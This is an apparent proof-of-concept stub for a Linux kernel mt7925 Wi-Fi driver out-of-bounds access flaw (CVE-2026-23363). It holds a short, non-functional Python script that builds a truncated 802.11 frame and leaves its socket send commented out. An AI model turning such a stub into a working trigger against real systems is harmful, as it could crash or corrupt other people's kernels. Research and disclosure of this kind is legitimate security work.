CVE-2026-23363 Linux内核mt7925驱动越界访问漏洞

#!/usr/bin/env python3 # Conceptual PoC for CVE-2026-23363 # This script attempts to send a malformed 802.11 frame to trigger the OOB access. # Requires a system with the vulnerable mt7925 driver and appropriate hardware. import socket import struct import fcntl import time # Constants for Netlink (simplified) NETLINK_GENERIC = 16 # ... (Standard nl80211 setup would go here) ... def trigger_oob_access(): print("[+] Attempting to trigger CVE-2026-23363...") # In a real scenario, we would craft a short 802.11 Management frame (e.g., Beacon) # and inject it via nl80211. The frame must be shorter than expected # when accessing mgmt->u.action.category or similar fields. # Example of a crafted frame header (truncated) malformed_frame = bytes([0x80, 0x00, 0x00, 0x00]) # Very short frame # This is a placeholder for the actual nl80211 message construction # which involves complex structure packing. try: # sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, NETLINK_GENERIC) # sock.send(malformed_frame) print("[!] Malformed frame constructed (Local execution required)") print("[!] Exploitation relies on driver missing length check in mt7925_mac_write_txwi_80211") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": trigger_oob_access()